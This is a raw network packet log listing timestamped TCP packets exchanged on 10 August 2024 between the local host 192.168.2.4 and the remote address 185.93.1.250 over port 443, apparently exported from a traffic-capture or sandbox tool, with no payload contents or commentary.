Aug 10, 2024 19:10:11.701719046 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.701734066 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.701761007 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.701777935 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.702547073 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.702569008 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.702610016 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.702620029 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.702651024 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.702667952 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.702863932 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.702888012 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.702922106 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.702931881 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.702961922 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.702967882 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.702977896 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.702986956 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.703012943 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.703016996 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.703041077 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.703057051 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.703083992 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.703114033 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.703658104 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.703676939 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.703711987 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.703727007 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.703752041 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.703771114 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.703852892 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.703877926 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.703924894 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.703933954 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.703963995 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.704029083 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.704113007 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.704135895 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.704169989 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.704180002 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.704212904 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.704212904 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.704221964 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.704235077 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.704262018 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.704278946 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.704291105 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.704320908 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.704338074 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.704988956 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.705014944 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.705074072 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.705074072 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.705085993 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.705146074 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.705323935 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.705347061 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.705389023 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.705404043 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.705425024 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.705426931 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.705450058 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.705459118 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.705473900 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.705498934 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.705523968 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.705523968 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.705528975 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.705542088 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.705559969 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.705590963 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.705590963 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.705612898 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.705640078 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.705662966 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.706259966 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.706280947 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.706331015 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.706341028 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.706370115 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.706393003 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.706649065 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.706671000 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.706707954 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.706717014 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.706747055 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.706770897 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.706796885 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.706816912 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.706854105 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.706864119 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.706886053 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.706891060 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.706912041 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.706914902 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.706927061 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.706948042 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.706978083 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.707730055 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.707750082 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.707804918 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.707820892 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.707845926 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.707863092 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.707936049 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.707959890 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.707994938 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.708003998 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.708033085 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.708055973 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.708058119 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.708070993 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.708096981 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.708115101 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.708127022 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.708158016 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.708179951 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.708647966 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.708674908 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.708714008 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.708728075 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.708753109 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.708776951 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.708878994 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.708901882 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.708937883 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.708947897 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.708977938 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.708996058 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.709114075 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.709132910 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.709171057 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.709180117 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.709207058 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.709218979 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.709225893 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.709234953 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.709259033 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.709263086 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.709280968 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.709290981 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.709320068 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.709341049 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.709861994 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.709888935 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.709928989 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.709944963 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.709969044 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.709997892 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.710232019 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.710256100 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.710299015 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.710314035 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.710338116 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.710355997 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.710434914 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.710464954 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.710504055 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.710519075 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.710541010 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.710545063 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.710556984 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.710566998 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.710593939 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.710594893 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.710613012 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.710622072 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.710650921 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.710670948 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.711167097 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.711190939 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.711227894 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.711237907 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.711266994 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.711285114 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.711488962 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.711514950 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.711550951 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.711565971 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.711591005 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.711613894 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.711682081 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.711704969 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.711741924 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.711751938 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.711777925 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.711781979 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.711796999 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.711806059 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.711834908 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.711837053 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.711837053 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.711855888 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.711864948 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.711894035 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.711915016 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.712466002 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.712501049 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.712527990 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.712538958 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.712565899 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.712584972 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.712743044 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.712766886 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.712801933 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.712811947 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.712841034 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.712857962 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.712877035 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.712903976 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.712943077 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.712954044 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.712984085 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.713001966 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.713519096 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.713547945 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.713587999 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.713603020 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.713627100 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.713644028 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.713788033 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.713814974 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.713852882 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.713866949 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.713891029 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.713895082 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.713910103 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.713920116 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.713952065 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.713952065 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.713967085 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.713975906 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.714010000 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.714010000 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.714051962 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.714082956 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.714118958 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.714133978 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.714159966 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.714179993 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.714818954 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.714848995 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.714885950 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.714900970 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.714924097 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.714945078 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.715369940 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.715394974 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.715434074 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.715449095 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.715472937 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.715496063 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.715548992 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.715578079 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.715614080 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.715629101 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.715650082 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.715652943 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.715672970 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.715678930 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.715692997 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.715697050 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.715735912 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.715756893 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.717119932 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.717144966 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.717185020 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.717200041 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.717226028 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.717246056 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.717401981 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.717432022 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.717477083 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.717499971 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.717525005 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.717551947 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.717556953 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.717571020 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.717598915 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.717617035 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.717628002 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.717662096 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.717663050 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.717910051 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.717942953 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.717978001 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.717988968 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.718019009 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.718035936 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.718137026 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.718159914 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.718195915 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.718206882 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.718235016 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.718252897 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.718388081 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.718417883 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.718455076 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.718465090 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.718492985 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.718499899 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.718508959 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.718518019 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.718544006 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.718544960 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.718573093 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.718583107 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.718612909 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.718630075 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.719132900 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.719156981 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.719196081 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.719211102 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.719234943 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.719250917 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.719353914 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.719377041 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.719412088 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.719422102 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.719448090 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.719469070 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.719516039 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.719542027 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.719575882 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.719584942 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.719614029 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.719630003 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.719634056 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.719644070 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.719669104 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.719681978 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.719691992 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.719724894 CEST	49734	443	192.168.2.4	185.93.1.250
